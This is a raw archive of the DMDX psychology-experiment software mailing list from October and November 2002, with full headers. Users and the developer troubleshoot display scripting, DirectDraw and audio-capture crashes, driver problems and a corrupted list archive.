+0100, you wrote: >I wonder if anyone out there has addressed such a specific problem, but >I'll be happy to read about ""presenting stimuli that remain visible >throughout an experiment"" You want to use the comma frame separator that merges two displays as if they were one, all displays should be merged with the white square. Feedback also has a an only clear behind it option: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfbonlyclearbehindkeyword.htm You can change the background color and drawing colors: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbackgroundcolorkeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdefaultwritingcolorkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 31 05:14:06 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9VBtkMS020787 for ; Thu, 31 Oct 2002 04:55:47 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id g9VBqFu23195 for dmdx@psy1.psych.arizona.edu; Thu, 31 Oct 2002 12:52:15 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id g9VBqDT23187 for ; Thu, 31 Oct 2002 12:52:13 +0100 (MET) Received: from ALARIO (rec1193.psycho.univ-paris5.fr [172.21.40.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with ESMTP id MAA13555 for ; Thu, 31 Oct 2002 12:52:12 +0100 (MET) From: ""F.-Xavier ALARIO"" To: Subject: [DMDX] RE : Re: Constant picture display during an experiment? Date: Thu, 31 Oct 2002 12:51:55 +0100 Message-ID: <000001c280d3$ec350e30$c12815ac@ALARIO> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" In-Reply-To: <5.1.0.14.2.20021030124629.00b13278@psy1.psych.arizona.edu> Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list � >I wonder if anyone out there has addressed such a � specific problem, but � >I'll be happy to read about ""presenting stimuli that � remain visible � >throughout an experiment"" � � You want to use the comma frame separator that � merges two displays as if � they were one, all displays should be merged with the white � square. Feedback also has a an only clear behind it option: � http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfbonlyclearbehind keyword.htm You can change the background color and drawing colors: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbackgroundcolorke yword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdefaultwritingcol orkeyword.htm I USE CAPS FOR READABILITY YES BUT EVEN IF THE DISPLAYS ARE MERGED WITH THE WHITE SQUARE, WHEN THE SUBJECT'S RESPONSE IS GIVEN, THE DISPLAY IS CLEARED (SINCE I AM USING THE CLEARFEEDBACK KEYWORD: THIS IS BECAUSE I WANT THE DISAPPEARENCE OF THE PICTURE, NOT OF THE SQUARE, TO BE TIED TO THE SUBJECT'S RESPONSE); IF I SPECIFY 'ONLY CLEAR BEHIND', WELL THAT STILL CLEARS PART OF THE SQUARE. I HAVE FOUND NO WAY OF CLEARING THE PICTURE BMP WHILE LEAVING ON A BLANCK WHITE SQUARE BMP. I SUPPOSE ONE WAY TO DO THIS IS BY SPECIFYING THAT THE FEEDBACK IS NOT TEXT, BUT THE WHITE BLANCK SQUARE(A BMP FILE) SO THAT IT SHOWS UP RIGHT AFTER THE RESPONSE, IS THAT POSSIBLE? ANOTHER WAY I HAVE FOUND IS TO USE THE FOLLOWING SCRIPT, WHICH PLAYS WITH VARIANTS OF FEEDBACK TO ENSURE A CONTINUITY OF DISPLAY ON THE SCREEN (PRESS SPACEBAR TO GO FROM ONE TRIAL TO ANOTHER, VERBAL RESPONSE TO THE PICTURE STIMULI) -001 / ""vide.bmp"" /*""question.bmp""; +002 / ""vide.bmp"" / ""fixation.bmp"" / * ""Fill-A-Bell.BMP""; -003 / ""vide.bmp""/ *""question.bmp""; +004 / / ""vide.bmp"" / ""fixation.bmp"" / * ""Fill-A-Barrel.BMP""; -005 / ""vide.bmp""/ *""question.bmp""; +006 / / ""vide.bmp"" / ""fixation.bmp"" / * ""Fill-A-Comb.BMP""; THIS SCRIPT HAS TWO PROBLEMS, HOWEVER: 1/THE DIGITAL VOX AND KEYBOARD INPUTS HAVE SOME WEIRD INTERACTION SUCH THAT AS SOON AS YOU USE DIGITAL VOX, IT TRIGGERS ALL THE FOLLOWING ITEMS AT RANDOM 2/ THE SCREEN CLEARING FROM THE FEEDBACK SEEMS TO BE SLOW AND NOT HAPPENING UPON SUBJECT'S RESPONSE. ANY IDEA OF WHY THIS SHOULD BE SO...? AGAIN THANKS A LOT FOR YOUR HELP Xavier >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 31 10:28:21 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9VHRlMS021101 for ; Thu, 31 Oct 2002 10:27:47 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DC1276000009900 for DMDX@psy1.psych.arizona.edu; Thu, 31 Oct 2002 10:24:16 -0700 Message-Id: <5.1.0.14.2.20021031102401.00b132d0@psy1.psych.arizona.edu> Date: Thu, 31 Oct 2002 10:24:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE : Re: Constant picture display during an experiment? In-Reply-To: <000001c280d3$ec350e30$c12815ac@ALARIO> References: <5.1.0.14.2.20021030124629.00b13278@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:51 PM 10/31/2002 +0100, you wrote: >I USE CAPS FOR READABILITY I don't read caps. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 31 14:38:49 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9VLIaMS021369 for ; Thu, 31 Oct 2002 14:18:37 -0700 Received: from archb1vvblbiks ([137.154.102.53]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9VLF1106459 for ; Fri, 1 Nov 2002 08:15:02 +1100 (EST) Message-ID: <003c01c28121$5bd5b030$35669a89@archb1vvblbiks> From: ""Arch Tibben"" To: Subject: [DMDX] dderr Date: Fri, 1 Nov 2002 08:06:17 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0039_01C2817D.8E51B610"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0039_01C2817D.8E51B610 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable The following error has become an extensive learning exercise for me. My = compatriots and the local computer store not contributing much to = resolving this challange ""Create Surface failed > DDERR- invalid pixel Format (88760091) > Pixal format was in valid as specified"""" I can change the error to (L parameter missing) if I change my item file = to a word document rather than a RFT and run the program The prob seems to be related to whether RFT is used and whether the box = in the DMDX ignore rft is ticked.=20 Even running Timex gives me the above message. when selecting the video = mode. any feedback would be helpful=20 arch=20 ------=_NextPart_000_0039_01C2817D.8E51B610 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable The following error has become an = extensive=20 learning exercise for me. My compatriots and the local computer store = not=20 contributing much to resolving this challange   ""Create Surface=20 failed>          = ;       =20 DDERR- invalid pixel Format=20 (88760091)>         &= nbsp;          =20 Pixal format was in valid as specified""""   I can change the error to (L parameter = missing) if=20 I change my item file to a word document rather than a RFT  and run = the=20 program The prob seems to be related to whether = RFT is used=20 and whether the box in the DMDX ignore rft is ticked. Even running Timex  gives me the = above=20 message. when selecting the video mode.   any feedback would be helpful = arch  ------=_NextPart_000_0039_01C2817D.8E51B610-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 31 14:52:02 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9VLpwMS021467 for ; Thu, 31 Oct 2002 14:51:58 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DC1276000017201; Thu, 31 Oct 2002 14:48:26 -0700 Message-Id: <5.1.0.14.2.20021031144220.00b132d0@psy1.psych.arizona.edu> Date: Thu, 31 Oct 2002 14:48:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.08 Cc: edj@u.arizona.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Slight fix to the keyword, it was only setting up the initial output state with the Keithley output drivers and all variants of the output devices set the output to 0xffffffff at the end of a job regardless of . Now determines the final state of the output lines as well as the initial state (as long as it's used before ). This has become a concern because the new WDM output device drivers and their PCI card devices don't leave lines floating high like the old ISA PIO12 devices did. For instance the PCI Computer Boards card seems to like leaving the lines low, directly opposite of old behavior. The Keithley stuff lets you specify the initial state, but that's from the time window's drivers are initialized, who knows what it's state is before then. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 31 14:54:57 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9VLstMS021494 for ; Thu, 31 Oct 2002 14:54:55 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DC1276000017483 for DMDX@psy1.psych.arizona.edu; Thu, 31 Oct 2002 14:51:23 -0700 Message-Id: <5.1.0.14.2.20021031145055.00b132d0@psy1.psych.arizona.edu> Date: Thu, 31 Oct 2002 14:51:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: dderr In-Reply-To: <003c01c28121$5bd5b030$35669a89@archb1vvblbiks> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:06 AM 11/1/2002 +1100, you wrote: >The following error has become an extensive learning exercise for me. My >compatriots and the local computer store not contributing much to >resolving this challange > >""Create Surface failed > > DDERR- invalid pixel Format (88760091) > > Pixal format was in valid as specified"""" > >I can change the error to (L parameter missing) if I change my item file >to a word document rather than a RFT and run the program >The prob seems to be related to whether RFT is used and whether the box in >the DMDX ignore rft is ticked. >Even running Timex gives me the above message. when selecting the video mode. > You've got all advice I can give. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 1 12:17:09 2002 Received: from broadway.montclair.edu ([130.68.1.252]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA1JFgMS022616 for ; Fri, 1 Nov 2002 12:15:43 -0700 Received: from montclair.edu (localhost [127.0.0.1]) by broadway.montclair.edu (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H4W0045XVZD0R@broadway.montclair.edu> for DMDX@psy1.psych.arizona.edu; Fri, 01 Nov 2002 14:11:37 -0500 (EST) Received: from [130.68.51.188] by broadway.montclair.edu (mshttpd); Fri, 01 Nov 2002 14:11:37 -0500 Date: Fri, 01 Nov 2002 14:11:37 -0500 From: Arturo Kiyama Subject: [DMDX] Illigal operation To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list For some reason when I want to use dmdx, I get this error message: ------------------------------------------ DMDX caused an invalid page fault in module DMDX.EXE at 0167:00403d02. Registers: EAX=00000000 CS=0167 EIP=00403d02 EFLGS=00010246 EBX=0180693c SS=016f ESP=0069f280 EBP=0069f3b8 ECX=83700688 DS=016f ESI=0180706c FS=3bb7 EDX=0069f3b4 ES=016f EDI=00453088 GS=0000 Bytes at CS:EIP: 8b 01 ff 50 44 8b d8 85 c0 74 1c 53 e8 70 51 01 Stack dump: 83700688 0069f3b4 00453088 0180706c 0180693c bffc9490 bff7b84e 00000001 0044ae80 0069f2c8 bff75f49 00000000 0044ae80 00453088 00000008 00000101 ---------------------------- I have gotten this message with the previous version of Dmdx and the new version recently released. The computer is a Pent II, Windows 98, 64 RAM, ATI 3D PRO. I have a feeling that somthing is wrong with the harddrive, but this only appears to be affecting Dmdx as all other programs (Word, Excell, Explorer, etc..) work fine and have no trouble accessing files in the harddrive. Any suggestions on how to fix this would help. Thanks. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 1 15:31:30 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA1MV5MS022891 for ; Fri, 1 Nov 2002 15:31:05 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DC277AD00016D97 for DMDX@psy1.psych.arizona.edu; Fri, 1 Nov 2002 15:27:30 -0700 Message-Id: <5.1.0.14.2.20021101152349.00b13278@psy1.psych.arizona.edu> Date: Fri, 01 Nov 2002 15:27:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] searching archives Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well I found out what's up with the archive's search function, something has blasted holes through the whole raw archive so it's no longer syntactically correct. Guess I'll be checking the backups to see if they go back far enough and see if I can patch an old and new together somehow. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 1 15:57:19 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA1MRFMS022858 for ; Fri, 1 Nov 2002 15:27:15 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DC277AD00016B3F for DMDX@psy1.psych.arizona.edu; Fri, 1 Nov 2002 15:23:40 -0700 Message-Id: <5.1.0.14.2.20021101152207.00b13278@psy1.psych.arizona.edu> Date: Fri, 01 Nov 2002 15:23:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Illigal operation In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:11 PM 11/1/2002 -0500, you wrote: >For some reason when I want to use dmdx, I get this error message: >------------------------------------------ >DMDX caused an invalid page fault in >module DMDX.EXE at 0167:00403d02. >Registers: >EAX=00000000 CS=0167 EIP=00403d02 EFLGS=00010246 >EBX=0180693c SS=016f ESP=0069f280 EBP=0069f3b8 >ECX=83700688 DS=016f ESI=0180706c FS=3bb7 >EDX=0069f3b4 ES=016f EDI=00453088 GS=0000 >Bytes at CS:EIP: >8b 01 ff 50 44 8b d8 85 c0 74 1c 53 e8 70 51 01 >Stack dump: >83700688 0069f3b4 00453088 0180706c 0180693c bffc9490 bff7b84e 00000001 >0044ae80 0069f2c8 bff75f49 00000000 0044ae80 00453088 00000008 00000101 >---------------------------- > >I have gotten this message with the previous version of Dmdx and the >new version recently released. The computer is a Pent II, Windows 98, >64 RAM, ATI 3D PRO. I have a feeling that somthing is wrong with the >harddrive, but this only appears to be affecting Dmdx as all other >programs (Word, Excell, Explorer, etc..) work fine and have no trouble >accessing files in the harddrive. Any suggestions on how to fix this >would help. Thanks. See if you can find some new display drivers. Try the new shortcut ""DMDX for really bad video cards"". /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 1 16:35:20 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA1NDlMS023114 for ; Fri, 1 Nov 2002 16:13:47 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DC277AD00018FC8 for DMDX@psy1.psych.arizona.edu; Fri, 1 Nov 2002 16:10:12 -0700 Message-Id: <5.1.0.14.2.20021101160635.00b3f550@psy1.psych.arizona.edu> Date: Fri, 01 Nov 2002 16:10:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: searching archives In-Reply-To: <5.1.0.14.2.20021101152349.00b13278@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:27 PM 11/1/2002 -0700, you wrote: > Well I found out what's up with the archive's search function, > something has blasted holes through the whole raw archive so it's no > longer syntactically correct. Guess I'll be checking the backups to see > if they go back far enough and see if I can patch an old and new together > somehow. Hmm, our lovely site licensed SSH client is the culprit, thank goodness I've got other ways of transferring files to the server. I've patched together stuff from the backup made on 10/14/02 and added the posts since then that weren't corrupted. Next I guess I get to play twenty questions with the SSH programmers... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 4 03:09:10 2002 Received: from dirf.bris.ac.uk (dirf.bris.ac.uk [137.222.10.72]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA4A7cMS025999 for ; Mon, 4 Nov 2002 03:07:39 -0700 Received: from eis.bris.ac.uk by dirf.bris.ac.uk with SMTP-PRIV with ESMTP; Mon, 4 Nov 2002 10:03:49 +0000 Received: from bris.ac.uk (psy170.psy.bris.ac.uk [137.222.60.170]) by eis.bris.ac.uk (8.11.6/8.11.6) with ESMTP id gA4A39J02116 for ; Mon, 4 Nov 2002 10:03:09 GMT Message-ID: <3DC645DD.60602@bris.ac.uk> Date: Mon, 04 Nov 2002 10:03:09 +0000 From: Markus Damian MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] random crashes with ""capture lock failed"" error message Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDX users, we are having mysterious problems with a couple of new machines that our lab just received. They are P4 1.8GHz Pentiums with onboard SiS650 video and onboard Avance AC97 Audio, running Win98. I installed DMDX 3.0, and now have the problem that DMDX is crashing at seemingly random intervals during experimental runs. Specifically, I have an experiment that shows bmp's on the screen, and uses to digitize the participant's response. Either, DMDX quits without any feedback, and the system returns to the Windows desktop, or I receive the following error message: ""Capture lock failed DSERR_INVALIDPARAM (80070057) An invalid parameter was passed to the returning function"" Upon clicking ""OK"", DMDX quits. Could anyone point me towards possible sources of this error? The above error message doesn't even provide any hints (to me) regarding where the problem occurs. Incidentally, I have already tried out the following two things: -ctrl-alt-delete all processes, one-by-one, that might cause a problem,eventually leaving only ""Explorer"" and ""Systray"" running. No difference - still random crashes. - installed a Creative Sound Blaster PCI 128 sound card to replace the onboard sound. Same outcome. Any help would be greatly appreciated! Markus Damian -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Markus Damian University of Bristol Department of Experimental Psychology 8 Woodland Road, 5D5 Bristol BS8 1TN United Kingdom Tel: (+44) (0)117 - 954 6840 Fax: (+44) (0)117 - 928 8588 Email: m.damian@bristol.ac.uk +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 4 03:39:22 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA4AdHMS026082 for ; Mon, 4 Nov 2002 03:39:17 -0700 Received: from [193.63.253.227] (helo=PC195.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 188eZo-00039C-00 for DMDX@psy1.psych.arizona.edu; Mon, 04 Nov 2002 10:35:24 +0000 Message-Id: <5.1.1.6.2.20021104103227.02c6cb30@193.63.253.1> Date: Mon, 04 Nov 2002 10:35:22 +0000 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: random crashes with ""capture lock failed"" error message In-Reply-To: <3DC645DD.60602@bris.ac.uk> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_2833187==.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_2833187==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Hi Markus, The typical suggestion is to try installing new video drivers. Although these are new machines, the drivers supplied by manufacturers are often not very up-to-date. We've had problems with the default drivers installed on recent Dell machines that were fixed by downloading an update. Best wishes, Matt At 10:03 04/11/2002 +0000, you wrote: >Dear DMDX users, > >we are having mysterious problems with a couple of new machines that our >lab just received. They are P4 1.8GHz Pentiums with onboard SiS650 video >and onboard Avance AC97 Audio, running Win98. I installed DMDX 3.0, and >now have the problem that DMDX is crashing at seemingly random intervals >during experimental runs. Specifically, I have an experiment that shows >bmp's on the screen, and uses to digitize the >participant's response. Either, DMDX quits without any feedback, and the >system returns to the Windows desktop, or I receive the following error >message: > >""Capture lock failed >DSERR_INVALIDPARAM (80070057) >An invalid parameter was passed to the returning function"" > >Upon clicking ""OK"", DMDX quits. > >Could anyone point me towards possible sources of this error? The above >error message doesn't even provide any hints (to me) regarding where the >problem occurs. Incidentally, I have already tried out the following two >things: > >-ctrl-alt-delete all processes, one-by-one, that might cause a >problem,eventually leaving only ""Explorer"" and ""Systray"" running. No >difference - still random crashes. > >- installed a Creative Sound Blaster PCI 128 sound card to replace the >onboard sound. Same outcome. > >Any help would be greatly appreciated! > >Markus Damian > >-- > >+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= >Markus Damian >University of Bristol >Department of Experimental Psychology >8 Woodland Road, 5D5 >Bristol BS8 1TN >United Kingdom >Tel: (+44) (0)117 - 954 6840 >Fax: (+44) (0)117 - 928 8588 >Email: m.damian@bristol.ac.uk >+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** --=====================_2833187==.ALT Content-Type: text/html; charset=""us-ascii"" Hi Markus, The typical suggestion is to try installing new video drivers. Although these are new machines, the drivers supplied by manufacturers are often not very up-to-date. We've had problems with the default drivers installed on recent Dell machines that were fixed by downloading an update. Best wishes, Matt At 10:03 04/11/2002 +0000, you wrote: Dear DMDX users, we are having mysterious problems with a couple of new machines that our lab just received. They are P4 1.8GHz Pentiums with onboard SiS650 video and onboard Avance AC97 Audio, running Win98. I installed DMDX 3.0, and now have the problem that DMDX is crashing at seemingly random intervals during experimental runs. Specifically, I have an experiment that shows bmp's on the screen, and uses to digitize the participant's response. Either, DMDX quits without any feedback, and the system returns to the Windows desktop, or I receive the following error message: ""Capture lock failed DSERR_INVALIDPARAM (80070057) An invalid parameter was passed to the returning function"" Upon clicking ""OK"", DMDX quits. Could anyone point me towards possible sources of this error? The above error message doesn't even provide any hints (to me) regarding where the problem occurs. Incidentally, I have already tried out the following two things: -ctrl-alt-delete all processes, one-by-one, that might cause a problem,eventually leaving only ""Explorer"" and ""Systray"" running. No difference - still random crashes. - installed a Creative Sound Blaster PCI 128 sound card to replace the onboard sound. Same outcome. Any help would be greatly appreciated! Markus Damian -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Markus Damian University of Bristol Department of Experimental Psychology 8 Woodland Road, 5D5 Bristol BS8 1TN United Kingdom Tel: (+44) (0)117 - 954 6840 Fax: (+44) (0)117 - 928 8588 Email: m.damian@bristol.ac.uk +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= ====================================================================   Send mail to DMDX-request@psy1.psych.arizona.edu with the word  'unsubscribe' by itself with no quotes in the body of the email  to be removed from the list.  The list archive is available here:          http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ****************************************************  Matt Davis  MRC Cognition and Brain Sciences Unit  15 Chaucer Road, Cambridge, CB2 2EF  email: matt.davis@mrc-cbu.cam.ac.uk    tel: 01223 355 294 (#266)    Fax: 01223 359 062 **************************************************** --=====================_2833187==.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 4 08:41:02 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA4FeNMS026393 for ; Mon, 4 Nov 2002 08:40:23 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gA4FacgP009407 for ; Mon, 4 Nov 2002 08:36:39 -0700 (MST) Message-Id: <5.1.0.14.2.20021104082719.00b12888@psy1.psych.arizona.edu> Date: Mon, 04 Nov 2002 08:36:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: random crashes with ""capture lock failed"" error message In-Reply-To: <5.1.1.6.2.20021104103227.02c6cb30@193.63.253.1> References: <3DC645DD.60602@bris.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:35 AM 11/4/2002 +0000, you wrote: >Hi Markus, > >The typical suggestion is to try installing new video drivers. Not in this instance, it's the audio drivers that need replacement. I assume this is under windows XP? Audio drivers are especially suspect under 2k/XP. I have just seen exactly the same situation on a number of machines here, one with exactly the same audio chipset, the AC'97. Once I found good drivers all DMDX problems went away. Creative drivers are terrible too, visit their website and get the latest drivers. Of course there are two machines that I can't fix, one has a sound card that I just plain gave up on ever getting working a long time ago so it doesn't really surprise me that I can't get drivers that work for it, the other is a recent Compaq laptop and unfortunately their latest drivers don't fix the thing. We found that using without RecordVocal solved a lot of problems but the machine will still periodically get locked up for ~300 ticks but at least it continues on afterwards. I have suggested that the user try different values of the T parameter that determines the buffer length used by the capture routines, I have found that buffer length often changes the way badly behaving drivers perform. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 4 12:13:53 2002 Received: from broadway.montclair.edu (broadway.montclair.edu [130.68.1.252]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA4JDNMS026684 for ; Mon, 4 Nov 2002 12:13:23 -0700 Received: from montclair.edu (localhost [127.0.0.1]) by broadway.montclair.edu (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H5200CHDFVNVK@broadway.montclair.edu> for DMDX@psy1.psych.arizona.edu; Mon, 04 Nov 2002 14:09:23 -0500 (EST) Received: from [130.68.51.188] by broadway.montclair.edu (mshttpd); Mon, 04 Nov 2002 14:09:23 -0500 Date: Mon, 04 Nov 2002 14:09:23 -0500 From: Arturo Kiyama Subject: [DMDX] Re: Illigal operation To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: 